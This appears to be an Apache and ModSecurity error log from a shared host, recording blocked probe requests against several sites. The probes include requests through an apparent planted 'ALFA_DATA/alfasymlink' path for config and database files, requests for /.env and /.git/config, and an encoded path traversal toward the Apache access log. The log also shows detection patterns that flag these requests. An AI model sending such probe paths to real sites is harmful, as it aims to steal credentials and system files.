[Mon Oct 26 08:34:26.235147 2026] [ssl:error] [pid 3023345:tid 3023345] (70014)End of file found: [client 54.225.98.148:5359] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:34:27.595253 2026] [security2:error] [pid 3026994:tid 3026994] [client 85.215.50.231:60878] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/omeka/config.ini"] [unique_id "at9I0y0_YUoaikSO4nlopQAAAAE"]
[Mon Oct 26 08:34:27.595655 2026] [security2:error] [pid 3026994:tid 3026994] [client 85.215.50.231:60878] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/omeka/config.ini"] [unique_id "at9I0y0_YUoaikSO4nlopQAAAAE"]
[Mon Oct 26 08:34:27.631311 2026] [security2:error] [pid 3026994:tid 3026994] [client 85.215.50.231:60878] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at9I0y0_YUoaikSO4nlopQAAAAE"]
[Mon Oct 26 08:34:29.397048 2026] [core:error] [pid 3019694:tid 3019694] (13)Permission denied: [client 85.208.96.206:32698] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/configfs_dir_cache/red_zone
[Mon Oct 26 08:34:29.462894 2026] [security2:error] [pid 3027735:tid 3027735] [client 85.215.50.231:60880] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/omeka/db.ini"] [unique_id "at9I1XT09R7Np-FQ85djwwAAAAo"]
[Mon Oct 26 08:34:29.463251 2026] [security2:error] [pid 3027735:tid 3027735] [client 85.215.50.231:60880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/omeka/db.ini"] [unique_id "at9I1XT09R7Np-FQ85djwwAAAAo"]
[Mon Oct 26 08:34:29.464137 2026] [security2:error] [pid 3027735:tid 3027735] [client 85.215.50.231:60880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at9I1XT09R7Np-FQ85djwwAAAAo"]
[Mon Oct 26 08:34:38.134574 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 52.207.47.227:61278] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:34:46.156229 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 3.212.219.113:5908] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:34:58.173783 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 34.231.45.47:63447] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:35:02.155980 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 23.23.137.202:34467] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:35:06.150296 2026] [ssl:error] [pid 3023345:tid 3023345] (70014)End of file found: [client 98.83.226.125:7585] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:35:09.682028 2026] [security2:error] [pid 3024455:tid 3024455] [client 107.172.76.131:53782] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9I8tznO4d1yCQgc5RBNQAAABY"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 08:35:09.682116 2026] [security2:error] [pid 3024455:tid 3024455] [client 107.172.76.131:53782] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9I8tznO4d1yCQgc5RBNQAAABY"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 08:35:14.148793 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 54.197.178.107:13355] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:35:27.050691 2026] [security2:error] [pid 3024443:tid 3024443] [client 185.191.171.19:14696] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/tr/index.db"] [unique_id "at9JDg9c_Zz9LocrxF9elQAAAAU"]
[Mon Oct 26 08:35:27.051132 2026] [security2:error] [pid 3024443:tid 3024443] [client 185.191.171.19:14696] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/tr/index.db"] [unique_id "at9JDg9c_Zz9LocrxF9elQAAAAU"]
[Mon Oct 26 08:35:27.051522 2026] [security2:error] [pid 3024443:tid 3024443] [client 185.191.171.19:14696] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/tr/index.db"] [unique_id "at9JDg9c_Zz9LocrxF9elQAAAAU"]
[Mon Oct 26 08:35:46.345746 2026] [core:error] [pid 3019667:tid 3019667] (13)Permission denied: [client 34.196.6.199:47542] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/cpu1/driver/cpu1/crash_notes_size
[Mon Oct 26 08:35:54.131261 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 35.174.253.85:25061] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:36:02.368605 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 23.21.228.180:49832] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:36:22.226066 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9JRgsj78QLlrBrm-442gAAAAc"]
[Mon Oct 26 08:36:22.226221 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9JRgsj78QLlrBrm-442gAAAAc"]
[Mon Oct 26 08:36:22.226492 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9JRgsj78QLlrBrm-442gAAAAc"]
[Mon Oct 26 08:36:22.226585 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9JRg9c_Zz9LocrxF9emwAAAAU"]
[Mon Oct 26 08:36:22.226718 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9JRg9c_Zz9LocrxF9emwAAAAU"]
[Mon Oct 26 08:36:22.226959 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9JRg9c_Zz9LocrxF9emwAAAAU"]
[Mon Oct 26 08:36:22.247091 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9JRntuNRyqJbUWH7Jv3wAAAAQ"]
[Mon Oct 26 08:36:22.247410 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9JRntuNRyqJbUWH7Jv3wAAAAQ"]
[Mon Oct 26 08:36:22.247465 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9JRnhYESb98d-GXViKjgAAAAs"]
[Mon Oct 26 08:36:22.247603 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9JRnhYESb98d-GXViKjgAAAAs"]
[Mon Oct 26 08:36:22.247632 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9JRntuNRyqJbUWH7Jv3wAAAAQ"]
[Mon Oct 26 08:36:22.247814 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9JRnhYESb98d-GXViKjgAAAAs"]
[Mon Oct 26 08:36:22.309772 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at9JRgsj78QLlrBrm-442wAAAAc"]
[Mon Oct 26 08:36:22.309967 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at9JRgsj78QLlrBrm-442wAAAAc"]
[Mon Oct 26 08:36:22.310189 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at9JRgsj78QLlrBrm-442wAAAAc"]
[Mon Oct 26 08:36:22.330670 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at9JRnhYESb98d-GXViKjwAAAAs"]
[Mon Oct 26 08:36:22.330937 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at9JRnhYESb98d-GXViKjwAAAAs"]
[Mon Oct 26 08:36:22.331163 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at9JRnhYESb98d-GXViKjwAAAAs"]
[Mon Oct 26 08:36:22.393552 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at9JRgsj78QLlrBrm-443AAAAAc"]
[Mon Oct 26 08:36:22.393755 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%5c found within REQUEST_URI_RAW: /..%5c..%5c..%5c..%5c..%5c..%5cvar/log/apache2/access.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at9JRgsj78QLlrBrm-443AAAAAc"]
[Mon Oct 26 08:36:22.393801 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "..\\\\" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ..\\x5c found within REQUEST_URI: /..\\x5c..\\x5c..\\x5c..\\x5c..\\x5c..\\x5cvar/log/apache2/access.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at9JRgsj78QLlrBrm-443AAAAAc"]
[Mon Oct 26 08:36:22.393974 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at9JRgsj78QLlrBrm-443AAAAAc"]
